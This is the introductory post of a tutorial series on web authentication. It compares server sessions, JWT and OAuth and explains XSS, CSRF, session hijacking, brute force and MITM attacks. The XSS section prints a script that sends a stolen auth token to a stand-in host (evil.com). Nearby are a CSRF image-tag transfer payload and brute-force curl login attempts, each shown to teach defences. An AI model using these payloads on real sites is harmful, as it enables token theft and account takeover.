Building Secure Web Authentication - Part 1: Introduction

You've built a web application, and now you need to add user accounts. Simple enough, right? Create a login form, check the password, and... wait. How do you keep users logged in? How do you prevent attackers from stealing sessions? Should you use JWT tokens or traditional sessions? And what's this about httpOnly cookies?

Authentication seems simple on the surface, but doing it securely requires understanding several interconnected concepts. In this series, we'll build a production-ready authentication system from scratch, exploring each decision and its security implications.

By the end of this series, you'll understand not just how to implement authentication, but why each piece matters for security.

What We'll Build in This Series

We're going to create a complete authentication system using TypeScript and Node.js that includes:

Part 1 (This Post):

  • ✅ Understanding authentication fundamentals
  • ✅ Comparing different authentication methods
  • ✅ Learning about common security vulnerabilities

Part 2:

  • ✅ Implementing JWT-based authentication
  • ✅ Secure password hashing
  • ✅ httpOnly cookie sessions

Part 3:

  • ✅ Protecting routes with middleware
  • ✅ Building authentication guards
  • ✅ Frontend integration

Part 4:

  • ✅ Remember Me functionality
  • ✅ Multi-user support with databases
  • ✅ Protected content sections

Part 5:

  • ✅ Security best practices
  • ✅ Social login (OAuth)
  • ✅ Production deployment checklist

Time estimate: The complete series will take 4-6 hours to work through.

Authentication vs Authorization

Before diving in, let's clarify two terms that are often confused:

Authentication answers: "Who are you?"

  • Verifying user identity
  • Login with username and password
  • Proving you are who you claim to be

Authorization answers: "What can you do?"

  • Determining user permissions
  • Role-based access control (RBAC)
  • Checking if you're allowed to perform an action

This series focuses primarily on authentication - getting users logged in securely. We'll touch on authorization when discussing protected routes, but full RBAC systems are beyond our scope.

The Problem: How Do We Keep Users Logged In?

HTTP is stateless - each request is independent and knows nothing about previous requests. When a user logs in successfully, how does the server remember them on the next request?

The Naive Approach (Don't Do This!)

// ❌ INSECURE - Never do this!
app.post('/api/data', (req, res) => {
  const { username, password } = req.body;

  if (username === 'admin' && password === 'secret') {
    return res.json({ data: 'sensitive info' });
  }

  res.status(401).json({ error: 'Unauthorized' });
});

Why this is terrible:

  1. Sends password with every request - More opportunities for interception
  2. No session management - Can't log users out
  3. Vulnerable to replay attacks - Anyone who intercepts the password can reuse it
  4. No rate limiting - Brute force attacks are easy

We need a way to authenticate once and then maintain that authenticated state.

Authentication Methods Compared

There are three main approaches to handling authentication in web applications:

Method 1: Server-Side Sessions

How it works:

1. User logs in with credentials
2. Server creates session data, stores it in memory/database
3. Server sends session ID to client as cookie
4. Client includes session ID cookie with each request
5. Server looks up session data using the ID

Visual Flow:

Client                          Server
  │                               │
  ├─── Login (user/pass) ────────>│
  │                               │ Verify credentials
  │                               │ Create session in DB
  │                               │   sessionId: "abc123"
  │                               │   userId: 42
  │                               │   expires: tomorrow
  │<─── Set-Cookie: sid=abc123 ───┤
  │                               │
  ├─── GET /profile ─────────────>│
  │    Cookie: sid=abc123         │ Lookup session "abc123"
  │                               │ Found: userId = 42
  │<─── User profile data ─────────┤

Pros:

  • ✅ Simple conceptually
  • ✅ Server has full control (can revoke sessions instantly)
  • ✅ Can store arbitrary session data
  • ✅ Well-understood and battle-tested

Cons:

  • ❌ Requires server-side storage (memory/database)
  • ❌ Difficult to scale horizontally (session synchronization)
  • ❌ Not ideal for microservices or distributed systems
  • ❌ Server must query storage on every request

Best for: Traditional monolithic applications, when you need instant session revocation.


Method 2: JWT (JSON Web Tokens)

How it works:

1. User logs in with credentials
2. Server creates JWT containing user info
3. Server signs JWT with secret key
4. Client stores JWT (localStorage, cookie, etc.)
5. Client includes JWT with each request
6. Server verifies JWT signature (no database lookup needed)

Visual Flow:

Client                          Server
  │                               │
  ├─── Login (user/pass) ────────>│
  │                               │ Verify credentials
  │                               │ Create JWT:
  │                               │   {userId: 42, exp: ...}
  │                               │ Sign with secret key
  │<─── JWT token ────────────────┤
  │     "eyJhbGc..."              │
  │                               │
  ├─── GET /profile ─────────────>│
  │    Authorization: Bearer JWT  │ Verify JWT signature
  │                               │ Extract userId from token
  │<─── User profile data ─────────┤

What's inside a JWT:

HEADER (algorithm used)
{
  "alg": "HS256",
  "typ": "JWT"
}

PAYLOAD (your data)
{
  "userId": 42,
  "username": "alice",
  "exp": 1735689600
}

SIGNATURE (proves it's authentic)
HMACSHA256(
  base64(header) + "." + base64(payload),
  secret_key
)

Pros:

  • ✅ Stateless - no server-side storage needed
  • ✅ Easy to scale horizontally
  • ✅ Great for microservices (each service can verify independently)
  • ✅ Can include user data in token (reduce database queries)
  • ✅ Works across domains (CORS-friendly)

Cons:

  • ❌ Can't revoke tokens before expiration (without additional infrastructure)
  • ❌ Tokens can become large if you store too much data
  • ❌ If secret key is compromised, all tokens are invalid
  • ❌ Requires careful expiration management

Best for: APIs, microservices, mobile apps, distributed systems.


Method 3: OAuth / Social Login

How it works:

1. User clicks "Login with Google"
2. Redirect to Google's login page
3. User authenticates with Google
4. Google redirects back with authorization code
5. Your server exchanges code for access token
6. Use token to get user info from Google
7. Create session/JWT for your application

Visual Flow:

Client              Your Server           OAuth Provider (Google)
  │                      │                         │
  ├─ "Login with Google" ────────────────────────>│
  │                      │                         │ User logs in
  │<─────────────────────────── Redirect w/ code ─┤
  │                      │                         │
  ├─ Callback w/ code ──>│                        │
  │                      ├─ Exchange code for token ───>│
  │                      │<─ Access token ────────┤
  │                      ├─ Get user info ────────────>│
  │                      │<─ User email, name ─────┤
  │                      │                         │
  │                      │ Create your own         │
  │                      │ session/JWT             │
  │<─ Set-Cookie/JWT ────┤                         │

Pros:

  • ✅ Users don't need another password
  • ✅ Social proof (verified email, real identity)
  • ✅ Faster signup (fewer form fields)
  • ✅ Offload security to OAuth providers

Cons:

  • ❌ More complex to implement
  • ❌ Depends on third-party service availability
  • ❌ Privacy concerns (tracking)
  • ❌ Still need fallback authentication method

Best for: Consumer applications, when you want social proof, when you want to reduce signup friction.


Comparison Table

Feature Server Sessions JWT Tokens OAuth
Scalability Difficult (needs session sync) Easy (stateless) Easy
Storage Server-side required None required Depends
Revocation Instant Difficult Via provider
Size Small (just ID) Can be large Varies
Security Good (if httpOnly) Good (if httpOnly) Very good
Complexity Low Medium High
Best for Monoliths APIs, microservices Consumer apps

Common Security Vulnerabilities

Understanding these attacks will help you make better decisions as we build our authentication system.

1. Cross-Site Scripting (XSS)

What it is: Attacker injects malicious JavaScript into your application.

The Attack:

// Attacker posts this comment on your site:
<script>
  // Steal user's authentication token
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: localStorage.getItem('auth_token')
  });
</script>

If you store auth tokens in localStorage:

// ❌ VULNERABLE
localStorage.setItem('auth_token', token);

// Attacker's script can access it:
const stolen = localStorage.getItem('auth_token');

Protection:

  • ✅ Use httpOnly cookies (JavaScript can't access them)
  • ✅ Sanitize all user input
  • ✅ Use Content Security Policy (CSP) headers
  • ✅ Never use dangerouslySetInnerHTML or equivalent

2. Cross-Site Request Forgery (CSRF)

What it is: Attacker tricks a logged-in user into performing actions without their knowledge.

The Attack:

<!-- Attacker's malicious website -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000">

<!-- If user is logged in to yourbank.com, this request
     includes their session cookie automatically! -->

Protection:

  • ✅ Use CSRF tokens for state-changing requests
  • ✅ Check Origin and Referer headers
  • ✅ Use SameSite cookie attribute
  • ✅ Require re-authentication for sensitive actions

3. Session Hijacking

What it is: Attacker steals a user's session identifier and impersonates them.

How it happens:

  • Network sniffing (unencrypted HTTP)
  • XSS attacks (stealing cookies)
  • Session fixation attacks
  • Physical access to device

Protection:

  • ✅ Use HTTPS everywhere (encrypt all traffic)
  • ✅ Use httpOnly and Secure cookie flags
  • ✅ Regenerate session IDs after login
  • ✅ Implement session timeouts
  • ✅ Bind sessions to IP addresses (optional, UX trade-off)

4. Brute Force Attacks

What it is: Attacker tries many passwords until they find the right one.

The Attack:

# Automated script trying common passwords
curl -X POST /api/login -d '{"username":"admin","password":"password"}'
curl -X POST /api/login -d '{"username":"admin","password":"123456"}'
curl -X POST /api/login -d '{"username":"admin","password":"admin"}'
# ... thousands more attempts

Protection:

  • ✅ Rate limiting (max attempts per IP)
  • ✅ Account lockout after failed attempts
  • ✅ CAPTCHA after several failures
  • ✅ Strong password requirements
  • ✅ Monitor for suspicious patterns

5. Man-in-the-Middle (MITM)

What it is: Attacker intercepts communication between client and server.

The Attack:

User  ──────>  Attacker  ──────>  Server
               (reading
                everything)

Protection:

  • ✅ Use HTTPS/TLS for all traffic
  • ✅ Implement HTTP Strict Transport Security (HSTS)
  • ✅ Use certificate pinning for mobile apps
  • ✅ Educate users about phishing

Why We're Choosing JWT + httpOnly Cookies

For this series, we're implementing JWT tokens stored in httpOnly cookies. This gives us the best of both worlds:

From JWT:

  • ✅ Stateless authentication (easy to scale)
  • ✅ Works great with APIs and microservices
  • ✅ Can include user data in the token

From httpOnly Cookies:

  • ✅ Protected from XSS (JavaScript can't access)
  • ✅ Automatically sent with requests
  • ✅ Secure and HttpOnly flags for protection
  • ✅ SameSite attribute prevents CSRF

The Architecture:

Login Request
     ↓
Verify Credentials
     ↓
Create JWT with user data
     ↓
Sign JWT with secret
     ↓
Store in httpOnly cookie
     ↓
Send to client

Subsequent Requests
     ↓
Browser automatically includes cookie
     ↓
Server extracts JWT from cookie
     ↓
Verify JWT signature
     ↓
Extract user data from token
     ↓
Allow/Deny request

Trade-offs we're accepting:

  • ❌ Can't revoke tokens before expiration (we'll use short expiration times)
  • ❌ Need refresh token mechanism for long-lived sessions (we'll implement in Part 4)
  • ✅ But we get great security, scalability, and performance

What's Next?

Now that you understand the fundamentals, we're ready to start building. In Part 2, we'll implement our JWT authentication system:

  • Setting up a TypeScript/Node.js server
  • Implementing login and logout endpoints
  • Secure password hashing with bcrypt
  • Creating and verifying JWT tokens
  • Setting httpOnly cookies properly
  • Testing our authentication

Prerequisites for Part 2

Before continuing, make sure you have:

Required:

  • Node.js 18+ installed
  • Basic understanding of TypeScript
  • Familiarity with Express.js
  • Understanding of async/await

Helpful but optional:

  • Knowledge of HTTP headers and cookies
  • Experience with REST APIs
  • Basic security awareness

Summary

You've learned:

  • Authentication vs Authorization - Who you are vs what you can do
  • Three authentication methods - Sessions, JWT, and OAuth
  • Security vulnerabilities - XSS, CSRF, session hijacking, brute force, MITM
  • Why JWT + httpOnly cookies - Best balance of security and scalability
  • What we're building - Complete authentication system in 5 parts

Resources


Ready to start coding? Continue to Part 2: Building JWT Authentication →

Questions or feedback? Understanding these fundamentals is crucial for building secure applications. Take your time with the concepts before moving to implementation.